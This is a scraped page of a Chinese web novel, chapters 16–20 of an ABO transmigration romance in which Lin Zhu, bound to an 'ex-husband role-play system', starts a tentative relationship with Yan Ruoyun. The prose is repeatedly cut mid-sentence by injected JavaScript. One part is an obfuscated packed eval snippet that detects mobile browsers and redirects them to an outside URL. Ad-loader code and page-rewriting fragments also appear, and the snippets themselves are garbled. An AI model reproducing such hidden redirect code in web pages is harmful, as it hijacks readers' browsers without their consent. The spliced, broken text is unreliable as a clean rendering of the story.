严若筠突然笑了声,顺手将车窗降下一条缝,猎猎的风声霎时窜进车内,将他的说话声吹得似远似近, “就你今晚的表现,还想让我把你想得有多好啊?” 林逐的脸一下子臊红了。 ——也对。 迟到、流鼻血、突然发情、还把人啃得疼哭了……整整一个晚上,他好像都在做傻事,活像一只单细胞的金毛沙雕。 这时候,严若筠喊了一声:“林逐。” 林逐偏头看着男人始终目视前方的侧脸,城市的霓虹炫光透过车窗缝隙,飞快地从他身上闪过,勾勒出若隐若现的轮廓。 “我没有把你想得有多好,我自己也挺多臭毛病的……”严若筠坦诚道,“如果在相处中,我们彼此觉得相处不来,就心平气和地分开,你觉得呢?” 他确实很坦诚,把丑话说在了前头:“就算你答应跟我试着接触,我也有个要求——在没有彻底确定关系之前,我不打算把我们的事告诉别人,也不会提前解除婚约,你能接受吗?” 换成任何一个别的Alpha,他都不会说出这种话。想都不用想,没有Alpha能够答应这种‘丧权辱国’的条约。 可林逐……确实傻得太可爱了,让他想要大胆尝试一回。 只是严若筠跟他不是单纯的偶遇,两人之间隔着严林两家的种种纠葛,以及他自己的病情… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695235|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …要是早早公开,这段脆弱的关系势必要面对许多不必要的外力。 这不是严若筠想要的。 他更想跟林逐自然而然地相处。 林逐也正如严若筠所想,完全不觉得自己身为Alpha的尊严遭到侮辱,反而对男人怀有强烈的负罪感。 他绑定着‘前夫哥扮演系统’,接近严若筠的目的本就不纯,这让他觉得自己像是个感情骗子。 ——渣男前夫哥。 短短五个字,包含了双重释义。 ‘渣男’两个字不用过多解释,而‘前夫哥’三个字则代表了……他跟严若筠根本不会有结果,注定要悲剧收场。 就在这时,系统感应到自家宿主乱成一团,过山车一般的思绪,忍不住跳出来劝道: “宿主不是看过原著吗?你要扮演的角色只是推动主角觉醒的工具人,主角的真爱情缘是林修杰啦!” “顺利补全最后的‘离婚’剧情后,你就可以下线了,主角会在林修杰的陪伴下重新振作,顺利治愈困扰了他半生的基因病。结局时,两人将摆脱信息素的控制,成为真正心心相印的爱侣。” “这难道不是一件好事吗?” 系统疑惑问道。 林逐:“…………嗯。” 眼见在自己的安慰下,宿主的情绪如抛物线一般飞快往下坠,系统连忙汗流浃背地补充道: “咳……宿主,你要这么想哈,等关键剧情点全部补全,你就能复活返回原世界了,而这个书中世界也能顺利解除危机,这是一箭双雕!双赢!” “比起跟你谈一场注定分手的恋爱带来的损失,起码主角不会因书中世界崩溃而彻底消失呀?” “双死和双活,当然是选择双活啦!” - 现在是晚上近十点。 路上的车流不算拥堵,红色法拉利如一道幻影快而稳地呼啸而过。 导航显示距离目的地还有约二十分钟的车程。 二十分钟后。 车子抵达终点,停在小区大门外。 AI女音适时响起:“您已到达‘世纪天恒’,此次导航结束。” 昏暗的车内,严若筠的双手仍旧搭在方向盘,静静地坐了几秒,才开口问道:“小哑巴,你想好了没?” 林逐一路上都很沉默,大部分时间都望着窗外飞速后退的虚影不知在想什么,偶尔很隐秘地朝男人投去一个复杂的眼神。 不得不承认,系统说得很有道理。 路灯的光顺着车窗缝隙斜切进来,恰好投在严若筠的眼睛位置,将深藏在眼底的那抹灰绿映得透亮。 该怎么形容它呢? 林逐直直地望进那抹灰绿,张了张口,问:“要是最后你发现……我们之间只是一场彻头彻尾的错误呢?” 他又问:“要是我跟你注定走不到最后呢?” 严若筠只是侧头回望,直视着林逐的双眼,漫不经心地应了声:“这很重要吗?” 灰绿的色调随着他洒脱的微笑变得明亮璀璨……比春日抽出的新芽更具生命力,比盛夏浓荫还要蓬勃盎然,以势不可挡的姿态淹没了林逐。 严若筠只是说: “林逐,我从不贷款未来。” “——我想要的,就是此时此刻。” 17. Chapter 17 夜风推着厚重的云层往前走,遮住了冷白的月光,好在小区路灯皎白明亮,将脚下阶梯照得一清二楚。 林逐现在还有些晕乎乎的。 他已经下了车,此时正站在小区大门旁的石梯上吹冷风,借此缓解面上的燥热。 尽管林逐的长相看起来厌世无神,还带着点凶相,但许多青春期的少男少女都会不自觉地被这类型的酷哥吸引…… 所以,林逐并不是没有被人告白过。 只是那些人跟他差不多年纪,表达好感的方式都比较含蓄委婉,连当面告白也仅是羞怯地说一句‘我喜欢你’。 因此林逐从来没遇到过像严若筠这样的——哪怕什么都不说,只是浅浅交换一个眼神,空气里的暧昧因子都快将他浸没。 呼吸变成了一件困难的事情。 林逐深深地吸了口气,顺手扒拉了一下被风扫得凌乱的额发,很想抱头蹲下发出爆鸣,哀悼自己逝去的十八年单身岁月。 想到这里,他又忍不住朝马路对面的方向望了一眼。 那个角落是刚才红色法拉利停车的户外车位。驾驶座的车窗被降到了底,严若筠仍坐在里面,正举着手机跟人通话。 他将手肘靠在车窗边,脑袋斜侧着,牵出一段好看的颈线。 打着电话,严若筠的视线也往车外移去,很快捕捉到十几米外的那道少年身影,随即跟那对藏在金色额发底下的眼眸对上了视线。 手机屏幕的白光打在男人的脸上,映出他唇边轻浅的笑,在与新晋小男友四目相对的下一秒,他唇角的弧度渐渐扩大…… 这时候,林逐才发现严若筠笑起来居然有酒窝。 他愣愣地出了会儿神才反应过来,下意识地转移视线,却又很快移了回去。 严若筠已经打完电话了。 林逐瞅见他冲自己招手,小跑着过去,很自然地弯腰凑到驾驶座窗前,吭哧吭哧地说了句废话:“打完了?” 这个电话来得特别不巧,偏偏在林逐被严若筠的一连串直球打得晕头转向,忍不住点头说‘好’的那一刻响起来。 林逐顿时像个哑火的炮仗,将车内空间留给了严若筠,自己站到冷风里清醒一下热得过载的脑袋。 ……好像也没什么效果。 问完那句废话中的废话,林逐的眼神逐渐变得半死微活,但也不知道该说什么了。 其实他更想问的是,刚才严若筠有没有听到自己说的那声‘好’? “对啊。”严若筠只是点了点头,然后拖长了尾音,又补充了一句。 “——我妈打来的。” 林逐霎时瞳孔震惊,又听男人继续说:“她问我有没有见到你,对你印象怎么样,问了好多呢。” 林逐摸了摸鼻子,小声问:“那你怎么跟她说的?” 严若筠往后靠着椅背,应道:“我说你太小了。” 话音刚落,系统忍不住站出来为自家宿主正名:“诶不是?我们宿主哪里小了呀?结合数据库分析,宿主的身体数据明明打败了这个世界的大部分Alpha!!” 林逐脸上刚降下去的温度一下子又升起来了,那几分钟的冷风都白吹了。 ……这个小破统到底是怎么做到每次发言都会让人眼前一黑的? 也许是林逐的表情太奇怪了,眼神也飘忽不定,严若筠的脑回路居然破天荒地跟系统拐到一起去了,突然说了句, “我是说你年纪小。” 这句话差点把林逐送到外太空去,死去的回忆360度无死角地朝他发起攻击。 林逐忍了忍,还是没忍住,懊恼地解释道:“……我没有往那里想。” 严若筠瞥他好几眼,确认林逐确实羞恼得不行了,仿佛连明耀的金发都变得灰扑扑的。他只好轻咳一声,压抑着涌到嗓子眼里的笑意,开始顺毛捋。 “那就是,我想了。”他无比淡定地说,“谁让你那时候只顾着遮脸。” 结果就是正反上下都被他看了个遍。 林逐整个人都开始褪色,看上去蔫吧得不行,本就透着厌世气质的面孔更加生无可恋,“……没什么事的话,那我就先回去了?” 说着要走,实际上脚一厘米都没挪。 “这么着急干嘛?”严若筠不满地啧了声,直接将手里拎到林逐面前晃了晃,“先加个微信。” “哦。”林逐也掏出手机,直接通过严若筠的手机号搜索到他的微信号,发送好友申请。 严若筠的微信头像不知道是不是自己拍的日出风景照。照片从中间被海平线分割成上下两部分,上半截是渐变色的天幕,下半截是闪着碎光的海面。 一轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695236|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火红的曜日正好跃出地平线。 他的微信名字更简单,就是真名。 好友申请很快通过。 严若筠当着林逐的面操作手机,将他那一串英文名备注成真名,还顺手给他设置了一个置顶。 林逐有样学样,也悄悄给严若筠设成了置顶。 而严若筠的头像底下,则是一大长串的未读信息。林逐匆匆扫了一眼,发现这些人是角色自带的狐朋狗友和暧昧对象,都在发信息约他出门浪。 不知怎么的,林逐居然诡异地心虚起来,连忙息了屏,想等着回去了再处理。 万万没想到,严若筠看了他一会儿,忽然抬手用大拇指和食指轻轻掐起林逐的脸颊肉,饶有兴致地问:“又怎么了?看起来这么紧张?” 林逐拘束地弯着腰没敢动,两只手搭在车窗边,艰难地憋出两个字:“没有……” 严若筠略带亲昵的动作让他头皮酥麻,犀利的问题又让他后背一凉,真是两头夹击,让林逐心底升出一股说不出的畏惧。 可这畏惧,却是建立在一段刚出炉的亲密关系之上的。 意识到这一点之后,林逐丝毫不觉得反感抵触,反而有种很陌生的新鲜。 ——严若筠好像,在管他诶? 就在这时,林逐感到脸颊上的手指撤了下去,还没来得及生出几分不舍,就听见男人轻声哼笑两声:“撒谎。” 林逐:“……” 有这么明显吗? 严若筠也没追问,只是从后座取出装有林逐衣服的袋子下了车,似笑非笑地瞟了他一眼:“时间还早,不请我上去坐坐吗?” 其实不早了。 现在已经是晚上十点半,小区里里外外都不见人影,只有不远处的保安亭里有个值班人员。 这片地价过于昂贵,入住率不高,业主不是富人就是明星艺人,基本不会在这个点出门遛弯。 不等林逐回答,严若筠又慢吞吞地补充了句:“鉴于你刚才的表现,我觉得有必要查一下岗。” 路灯下,男人的影子拉得很长,跟林逐的影子形成两条平行线。 下一瞬,他朝林逐迈近一步,两道影子霎时交叠在一起,分不出你我。 林逐低头看着脚下的暗影,好半晌才轻轻地应了一声。 “——好。” 18. Chapter 18 先前在香山会馆全程由严若筠走在前头带路,现在两人的位置调换,变成林逐领着男人往住所走去。 他现在住的房子是一套三百多平的大平层,临近小区里的人工湖景,朝向与层数都是最优选,价格也一骑绝尘地高涨。 林逐被系统投放进书中世界的降落点就是这套大平层的主卧。按照故事设定,当时的他恰好通宵打游戏,一觉睡到下午。 然后就接到了严若筠的电话。 “嘀嘀——” 到了地方,林逐用指纹解了锁。 房门打开后,玄关处的感应灯自动开启。 林逐率先往里走了两步,从鞋柜里翻出一双新的室内拖鞋,拆开包装放到严若筠的身前,有些拘谨地说了句,“请进。” 仔细想想。 这还是他第一次带人回家做客。 “谢谢。”严若筠道着谢,换好了拖鞋。他跟林逐身高差距不大,脚码自然大差不差,穿起来刚刚好。 随后两人沿着玄关走廊走进客厅,智能家电管家开始工作,操控着灯光与室内恒温系统,并用默认声线毫无波澜地说了句, “晚上好,林逐。” 林逐拥有渣男前夫哥这一角色的记忆数据,其中也包涵了他贯有的行为习惯,便自然而然地应道:“晚上好,林管家。” 这时候,在角落充满电的扫地机器人也咕噜咕噜地运作起来,慢悠悠地从客厅划过,圆形信号灯一闪一闪的。 路过林逐的时候,它也说了句:“晚上好,林逐。” 林逐的嘴巴似乎也成了自动款,立马接了一句:“晚上好,林保洁。” 这一来一回的人机互动看得严若筠一愣,紧接着便是一阵好笑,忍不住问道:“管家,保洁……你家还有没有其他AI岗位?” 林逐反应过来,也觉得这一行为有些幼稚。他想了一下,很诚实地摇摇头:“没有了。” 严若筠又问:“介意我参观一下吗?” “不介意,”林逐摸了摸鼻子,飞快地补充了一句,“你随便看吧。” ……不是说要查岗的么? 听到这句话,严若筠也不跟他客气,果真很‘随便’地四处看看。比起林逐的拘谨,他似乎更像是这间屋子的主人。 林逐不知道该不该跟严若筠一起,思索片刻,见他也没有让自己陪同的意思,索性拎着装有脏衣服的袋子去了洗衣房,将衣服塞进洗烘一体的内嵌式洗衣机里,才又走出来。 一出来,就见严若筠将冰箱门打开,很随意地朝里面探了一眼,“这里面怎么什么都没有?” 其实有的,但都是些矿泉水,以及各个品牌的碳酸饮料,一眼看过去,种类好像比街上的自动饮料贩卖机还要丰富。 林逐回忆了一下,发现渣男前夫哥的生活作息很不规律,也很不健康。林城给他雇佣的保姆本来包涵了打扫卫生和做饭,后来渐渐演变成单纯在固定时间来打扫清洁。 吃饭问题很好解决。 要么点外卖,要么出门厮混一天,压根用不着在家开火,冰箱里自然没有生鲜蔬菜等物品。 严若筠也不是要林逐当场说个所以然来,仿佛闲话家常一般,想到哪儿就问到哪儿,“对了,你开学是不是读高三了?” 林逐很郁闷地应道:“……嗯。” 车祸了,穿书了,次元都不一样了……但他仍是一名高三学生,就好像辛辛苦苦打出大结局的游戏突然崩盘,存档彻底损坏,玩家一朝回到解放前。 多少有点搞心态了。 如今是十月初秋。 九月开学季已经是一个多月前的事情了。 按照人设背景,林逐现在是个刚出炉不久的高三学生,就读于北都市一所门槛很高的私立贵族中学,只是他经常旷课缺席,整日在外面泡吧。 好歹他也是林城的亲儿子,所以学校不怎么管他,从根本上来讲,也没必要管——这种不思进取的二代不愁升学,跟普通学生不在一个赛道上。 严若筠恰好问道:“读哪所高中?” 林逐立刻报出校名。 男人了然地点点头,又问:“今天是上学日,你好像没有去学校?” 这句话只是铺垫。 在林逐点头的下一秒,他顺着话题继续问道:“那你平时都不去学校,都在外面干嘛呢?” 林逐哽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695237|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,没敢接话。 要知道,他的记忆里基本全是纨绔富二代灯红酒绿的潇洒日常啊…… 幸好渣男前夫哥上周才年满十八岁,平日里只是泡泡夜店喝喝酒,以及打打游戏,顺便跟一溜水儿的娇软Omega调笑暧昧,还没来得及涉及更深层次的娱乐活动。 林家在北都市根基很深,但林逐由于出身问题,被其他正经二代们排挤看不起。 那些人怎么可能带他玩儿?不嘲讽几句都是看在上一辈的面子上了,所以林逐身边大多是冲着利益来的狐朋狗友,平时都很捧着他。 人后如何,那又是另一回事了。 林城对这个养在外面的儿子很是歉疚,但他的父母和妻子不肯接受这个孩子,当年又确实闹得太难看,只好在经济上多多补偿。 正因如此,林逐年纪不大,手头却比许多二代都来得阔绰。 他自尊心很强,内心又扭曲,明明知道那些表面朋友在背后笑自己上不得台面,又给他取了冤大头,肥羊之类的外号,却也不点破,而是很享受众人为了钱在他面前伏低做小的样子。 ……呵呵,都是狗。 谁比谁高贵啊? 林逐回忆完,心情有些糟糕。 按照系统的解释,他并不是夺舍了原著中渣男前夫哥的身体取而代之,而是从根本上成为了这个人——那些过往,那些情绪,百分之百地融进了林逐的本身,已经成为他的一部分。 十八岁,两段人生。 每一段的记忆都是那样清晰。 林逐短暂地失神,很快又清醒过来。他想了想,还是老实地回答了, “平时要么出去玩,要么在家玩。” 严若筠盯了他很久,大概一分多钟,然后悄无声息地走过来,抬手在这颗有些蔫蔫的脑袋揉了两下…… 最后,又拍了两下。 他手下的力道不轻不重,说话的语气也不咸不淡。 “知道了。” 林逐却忽然觉得自己好似被这只手猛地攥住了心脏,跳动收缩不再受他控制……一呼一吸之间,都是从严若筠身上传来的浴后残香。 凉凉的,海盐味。 19. Chapter 19 “你在这里住了多久?” 严若筠环视了一圈儿,发现偌大的客厅里除了必要的装潢家电以外,没什么个人生活痕迹,看起来很冷清。 但并不空旷。 大大小小的快递盒堆在客厅角落,拆了封的和压根没打开的包裹混合在一起,几乎堆成了一座小山。 这套平层的面积很大,房间数量不少,其中大部分的房间门都开着,隐约能看到里面堆叠着的快递盒等物品。 单纯按照数量来算,林逐家里的快递都比得上一个菜鸟驿站的量了。 林逐也发现了,不好意思地摸了摸鼻子,回答道:“三年多吧。” 林城给他买这套房子,主要是因为这里离他就读的贵族中学近,步行约十分钟就能到。 不过他向来都是睡到日上三竿,极少准时准点地到校上课。 严若筠点点头,指着唯二两道关着的房门,问:“这两间房是……?” 林逐干巴巴地解释道:“左边那间是游戏房,右边那间是卧室……”他顿了顿,主动道,“你要进去看吗?” “可以吗?”严若筠轻轻瞟了他一眼。 林逐没说话,直接去把两间房门打开了。 严若筠的视线左右移动了一个来回,然后很果断地朝游戏房的方向走去。 屋子里很暗,还特地安装了遮光性很强的厚款帘布,只有待机状态的电脑主机的品牌标识着起幽幽的蓝光,呼吸灯一闪一灭。 游戏房的安装风格跟外面酒店的电竞包厢没什么区别,而靠墙的角落居然还真的摆着一台改装过的自动零食贩卖机。 林逐后知后觉地想起桌上还留着‘他’昨晚吃了一半的零食,以及抽了半包的烟,烟头还横七竖八地躺在烟灰缸里呢。 明明经过循环系统的净化,空气里没有任何异味,但整间屋子莫名让人觉得乌烟瘴气。 一阵窘迫袭上林逐心头。 他连忙抢先上前,迅速地将桌面上的杂物扫到垃圾桶里,手却不小心碰到鼠标,待机状态的主机和显示屏咻地一下,齐齐亮起。 他的社交APP设置了自动登录,随着账号成功登陆,提示音顿时像鞭炮一样响起来,而其中最显眼的是——某个占据了超大显示屏三分之二面积的直播间。 直播间的主人是个长相可爱软萌的男性Omega,网名叫做白晓墨。他很年轻,正在京都舞蹈学院读大一,半年前因一个舞蹈视频爆红网络,接着便签约平台做了主播。 半年下来,白晓墨的粉丝已经逼近千万,直播间里打榜的富婆富哥无数,一跃成为该平台的顶流主播。 而林逐,正是他的榜一大哥。 前阵子他还为了帮白晓墨打赢人气PK而狂置千金,金额数量大到让围观群众嗔目结舌,当晚还上了热搜,引得一众网友前来打卡。 又给主播白晓墨增加了不少人气。 也正因如此,白晓墨对这位出手阔绰的榜一大哥愈发热情,看到他的ID带着VIP特效入场,当即将双手举过头顶,冲着镜头比了个大大的爱心,并甜而嗲地招呼道, “哇,欢迎Chase哥哥进入墨墨的直播间~刚才评论区还有宝宝问你今晚来不来呢。” “我们都很想你哦~” 这个点正是网络直播的流量高峰期,直播间左上角的观看人数高达百万。 所有观众都实时听到了这句话。 但这不是重点。 重点是—— 现在严若筠就站在林逐身后,且两人相距不过一米远。 这间游戏房经过全方面的改造,墙壁增加了隔音棉,使得音响的效果更为立体突出。 严若筠当然也听得一清二楚。 过了几秒,他很平静地问道:“林逐,你平时在家就玩这个么?” 林逐这才慢半拍地反应过来,连忙滑动鼠标叉掉直播间,忽然汗流浃背了。 他转过身,张了张嘴,又觉得没什么好解释的……哎,谁叫他的人设就是纯种的花心渣男呢? 还是个扭曲阴暗批。 说完那句,严若筠就转身出去了。 林逐还以为严若筠会生气不爽得直接离开,心跳忽而漏了一拍,连忙跟着出去。 男人已经踱步到冰箱前,取出一瓶矿泉水喝了起来。他的神色很淡,看不出具体情绪,林逐却紧张得快要说不出话。 “呃……”林逐踌躇着上前,小声问,“你生气了吗?” 严若筠仰着脖子喝水,眸子微移,轻飘飘地看了林逐一眼。等到他喝完水,拧上了盖子,才好笑地反问道:“我为什么要生气?” 林逐很耿直地说:“……因为我到处撩Omega?” 尽管这只是前夫哥一角的人设过往,但这层履历已经是林逐的一部分了,是他多长几张嘴都辩不白的‘事实’。 严若筠将矿泉水瓶放到空旷的岛台上,跟林逐面对面,夷然自若地说:“林逐,我们今晚才打算进一步接触,对于你的过往,我没立场追究,但是今晚以后——我希望你能自觉地跟那些暧昧对象切割,并身心专一。” “你能做到吗?” 林逐点点头,心想:就算严若筠不这么要求,他也肯定应付不来。 少刻,严若筠安静了下来,那双深邃的眼眸专注地凝视着林逐,像是在等 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他说些什么。 见少年半天没个动静,他叹了口气,主动对这个哑巴男友说道:“现在我们在沟通磨合,你也说说看……比如,对我有什么要求或者期待?” 林逐仔细想想,很快摇了摇头。 他觉得严若筠没什么不好的地方,就算偶尔有些恶趣味,也只是让他尴尬发窘,不到反感的地步。 严格说起来,在原著的描述中,他这个‘渣男前夫哥’才是严若筠人生中的污点,需要被优化的那一部分吧? 见林逐仍跟个闷葫芦一样,严若筠忍不住又捞起矿泉水瓶喝了一口,追问道: “在未来一段时间内,我跟林修杰对外还是未婚夫夫关系,接下来严林两家有许多合作项目,需要我跟林修杰一同出席……你,确定不介意?” 林逐看过原著,知道这阶段他跟正牌攻林修杰目前止步于惺惺相惜的挚友关系,两人的姻缘线始于自己跟严若筠离婚后…… 理论上,林逐此时用不着吃醋不悦,但他回忆着小说后半段的剧情发展,躁动的心渐渐冷了下来,眉眼也一同耷拉着。 “不介意。”他答道。 殊不知自己在严若筠的眼中,就像是一只暴雨天找不到遮蔽的流浪小狗,还要佯装雨水不够大,他一点也不勉强的样子。 见此情景,严若筠真有些不高兴了,上前两步,用手里的矿泉水瓶将林逐的下巴顶起来,冷冷道:“沟通是双方的,你也得问问我对你有什么期待吧?” 林逐眨眨眼,很听话地重复了一遍。 话音刚落,就听严若筠从善如流地接过话头:“当然有,我希望你从明天开始按时按点去上课——” 他刚喝过水的唇极其湿润,在灯光下映出高光,“因为……我不想要个高中都没办法正常毕业,只能跑到国外读野鸡大学的小男友。” 林逐堵在心口的复杂情绪好似一个充满了气的气球,瞬间被这句话一针戳破,发出砰的一声巨响! 他的眼神半死微活,露出一抹疲惫的微笑:“……哦。” 是谁转生成异世界渣男也要高考啊? 原来是我,那没事了。 ……哎。 就在这时。 抵在他下颌处的矿泉水瓶忽然被撤开,林逐眼前蓦地一暗,还没来得及反应,身前的男人已经偏头靠了过来…… 温热的呼吸扫过林逐的侧脸。 下一秒。 严若筠轻轻地,在他嘴角啄了一下。 男人的唇湿润且柔软,如同棉花一般紧贴着林逐的嘴角。他拖长了尾音,与这位新上任的哑巴小男友呼吸交融,哄了句, “乖哦。” 20. Chapter 20 临近午夜十二点。 一辆红色法拉利驶进环山庄园的车库。 严若筠两手空空地下了车,一路踩着夜色走向主楼大厅。 隔了老远,他就瞥见厅内亮着昏暗夜灯,忍不住轻叹一口气,显然对接下来的情景早有所预料了。 果不其然。 一进屋,严若筠就瞧见沙发处坐了两个中年人,正是父亲严自鸿与母亲裴淑容。 夫妻俩人手端着一碗养生汤,但谁都没心思喝,只一个劲儿地往门外瞥去。 直到瞥见儿子进门,裴淑容顺势放下汤碗,迎上来道: “若筠,我让阿姨给你留了一碗汤,还温着呢……要不要现在喝一点?” 严自鸿虽然没有站起身,但神情也不像是若无其事的样子。他紧接着妻子的话音,问了句, “这么晚回来?” 严若筠:“……”晚吗? 没记错的话,他好像常常这个点回家? 而且遇到需要晚归的时候,他通常会选择在距离公司不远的单身公寓里休息,工作不忙时才会回老宅这边过夜。 “喝一点吧。”严若筠无奈地笑笑。 其实他早知道父母今晚无法安心入眠,所以才开了许久的夜车回到环山庄园。 眼下的情况比他预想得还要好一点—— 起码外公他们几个老人家没有跟着一起儿等。 刚接过养生汤,严若筠屁股还没坐热,就听裴淑容轻声问道:“电话里说不清楚,你今晚不是约林逐吃饭么?给爸爸妈妈仔细讲一讲?” 严若筠抬眸。 夫妻俩儿。 四只眼睛都直直地盯着自己。 他咽下一口温补的汤水,很淡定地回答道:“没吃饭啊,我约他喝茶。” 闻言,生性浪漫的裴淑容顿时一噎,有些急:“喝茶?人家一个小年轻,你约他喝茶做什么?平时还没有陪你外公喝够吗?” 严若筠长得更像母亲,长相精致,带了些许中法混血的特质,跟父亲严自鸿的气质相差甚远。 严自鸿容貌肃穆正气,比起一个企业家,他更像是个军人,板着脸的时候气势很强,“你是不是想着见一面就算了?” 听到这话,严若筠低头又喝一口汤。 嗯,还真被他爸说中了。 自从收到与林逐的信息素匹配度报告单之后,他一点儿都没有掩饰自己的抗拒,但怎么也没想到…… 正想着,严自鸿眼尖地发现了异常,再次开口问道:“你怎么换了一身衣服?今天出门不是穿的这一套吧?” 汤碗很袖珍,几口就没了。 严若筠将空碗轻轻放回桌上,三言两语概括道:“喝茶的时候,不小心把原来那套|弄脏了,我就让陈元给我送了套新的。” 夫妻俩儿交换了个眼神,都不太乐观。 喝茶还能把衣服喝脏? 听说林家那个小儿子挺不靠谱的,该不会闹了不愉快吧? 严若筠不想父母为了自己的事情辗转反侧,思索片刻,很直接地表明道: “放心吧,我跟林逐互加了微信,也约好下次一起去医院的时间,到时候先让徐医生检查看看……” 裴淑容就坐在他身旁,闻言神色微动,又似感受到什么,忽然侧身朝儿子后颈处探去,发现项圈底下的腺体有些肿,周遭还烙着没藏住的齿痕,震惊得睁大了眼, “……你们标记了?!” 严若筠颔首承认:“嗯。” 这种事没法儿否认,况且家里人就是为了标记与信息素才催着他跟林逐见面,就算他不说,裴淑容也会提起来。 说来说去,都是基因病的缘故。 自从严若筠确诊基因病之后,裴淑容总是郁郁寡欢,觉得自己没有给严若筠一具健康的身体。 得知他与林逐的信息素匹配度高达惊人的100%,最激动的就是她。 知道儿子一向不喜欢被Alpha近身,裴淑容原本还担心他宁愿忍受疾病的痛苦,也不愿意跟林逐标记交接触,万万没想到…… 她惊喜地站起身:“若筠,到时候妈妈陪你一起去医院吧?要不要顺便让林逐来家里吃个饭?” 她转了个圈,又念叨着:“对了对了,还要找个时间跟林家约着谈一谈吧?哎,如果林逐是个普通家庭的Alpha就好了……” “真是一笔糊涂账,顾妍那边……” 顾妍就是林城的妻子,林修杰的母亲。 裴淑容跟她关系不差,知道她有多么厌恶当年的秦思暖和她偷偷生下的孩子。 可人有亲疏远近,到底是自家儿子的身体健康最重要。 严自鸿没说话,但也是连连点头,看起来很是赞同。要是几个老人在这里,场面说不定还要更乱一些。 没办法,自从严若筠十八岁那年确诊了基因病,这就变成了他们全家人的心病。 在他们眼中,林逐或许更像是一款限时出售的,针对严若筠研发的超级特效药。 这突如其来的重视,跟林逐本身无关。 对他们而言,报告上的人名无论是赵逐、王逐、周逐……都无所谓。 但这一点—— 对严若筠来说,非常重要。 见此情形,严若筠心中暗叹:正因如此,他才不想早早公开啊…… 他拉着激动的裴淑容坐下,对着父母很郑重地道:“爸妈,你们别管这件事了,让我自己来处理可以吗?” 他的语气很理智,神情淡然却又坚定:“我不会抗拒治疗,检查报告的结果也会第一时间告诉你们……但是,我希望你们都不要插手我跟林逐的事情,一切让我自己来做决定。” 就像从小到大那样, 让他决定自己的未来吧。 - 严若筠的查岗行动截止于游戏房。 尽管林逐早已主动地打开了主卧大门,男人却一眼都没往里瞟,而是凑到他耳边极轻地说了句‘下次吧’,然后就走了。 留林逐一人在客厅里站了许久的桩。 直到睡前,他躺在两米宽的大床上,仍觉得有些飘飘然的,辗转反侧了十来分钟,忍不住在意识中呼唤系统,问道:“……我去上学,应该不影响扮演任务吧?” 渣男前夫哥的人设可没有‘好好学习,天天向上’这一属性。 “啊?”系统不知道在干什么,过了好一会儿才出声道,“完全不影响,宿主只要确保关键剧情点如期发生就可以了。” 祂开朗地笑了两声:“再说宿主你ooc也不是一次两次了,你看我,我就一点都不着急耶。” 林逐盖着被子,凝望着黑漆漆的天花板。 他的眼神平静得像是死掉了,默默提醒道:“……你在催我做任务的时候,可不是这样的。” 堪比传|销头子上身。 老实说,他觉得系统比他还像个人——经常性盲目乐观,间歇性焦虑崩溃,两种状态无缝切换,精神状态可以说达成了一种另类的稳定。 “上班就是这样身不由己的啦……”系统噎了噎,幽幽叹气,“这○蛋的生活,终究还是将我变成了自己最讨厌的样子。” “……” 一人一统就这么闲聊扯蛋了起来。 林逐不知什么时候闭上了眼,紧绷了一天的神经终于松弛下来。 迟来的睡意自脑海深处涌上来,宛如一腔温热的水流包裹着他的躯体,一晃一晃地将他荡入了迷蒙的梦中。 渐渐的,林逐的呼吸变得缓慢悠长…… 他睡着了。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一张豪华Kingsize大床,金发少年偏偏睡到了边上一点儿的位置,平卧的姿势变换几次,最终定格在侧躺蜷缩的睡姿,半张脸埋进了鹅绒被中。 北都是个南方城市。 夏季转秋的时节尤其多雨水。 这夜三四点的时候,屋外的空气湿度不断上升,不多时,天地间就响起了沙啦沙啦的声音。 是细密的雨丝垂击屋檐、窗柩、枝叶的声音。 这声儿绵绵密密,衬得卧室里愈发安静,只剩下林逐轻浅的呼吸声。他的眼皮闭合,底下的眼珠子一动不动,显然已经进入了深度睡眠。 这时候,系统小声地喊了两声:“……宿主?宿主你睡着了吗?” 没有回答。 又等了一会儿。 系统才点开了后台那封来自总局的邮件。 【标题:[关于前夫哥扮演系统N001于濒危世界012的违规操作]判定报告书,附件[‘人设同步’子系统安装包.exe]】 【…节点:第一个关键剧情点任务已完成[存在未知错误]】 